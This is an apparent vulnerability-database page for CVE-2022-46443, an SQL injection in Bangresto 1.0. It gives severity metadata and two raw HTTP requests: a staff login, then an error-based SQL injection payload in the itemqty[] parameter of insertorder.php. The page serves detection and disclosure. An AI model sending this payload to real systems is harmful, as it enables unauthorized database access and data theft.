🔙 목록으로 돌아가기

CVE-2022-46443: Bangresto - SQL Injection

TitleBangresto - SQL Injection
AuthorHarsh
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire application and underlying database.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score8.8
EPSS Score0.81782
CVE IDCVE-2022-46443
CWE IDCWE-89
Tags cve cve2022 bangresto sqli bangresto_project vuln

🔍 Vulnerability Description

Bangresto 1.0 is vulnberable to SQL Injection via the itemqty%5B%5D parameter.

🌐 HTTP Request

POST /bangresto-main/staff/process.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

username=zu9Bel&password=YXEQWv
POST /bangresto-main/staff/insertorder.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/9.0
Connection: close
Content-Length: 186
Content-Type: application/x-www-form-urlencoded;
Accept-Encoding: gzip

itemID[]=1&itemqty[]=2 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a7a6b71,md5(4903),0x7178717a71,0x78))s), 8446744073709551610, 8446744073709551610)))&sentorder=Sent to kitchen

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-46443.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-46443.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A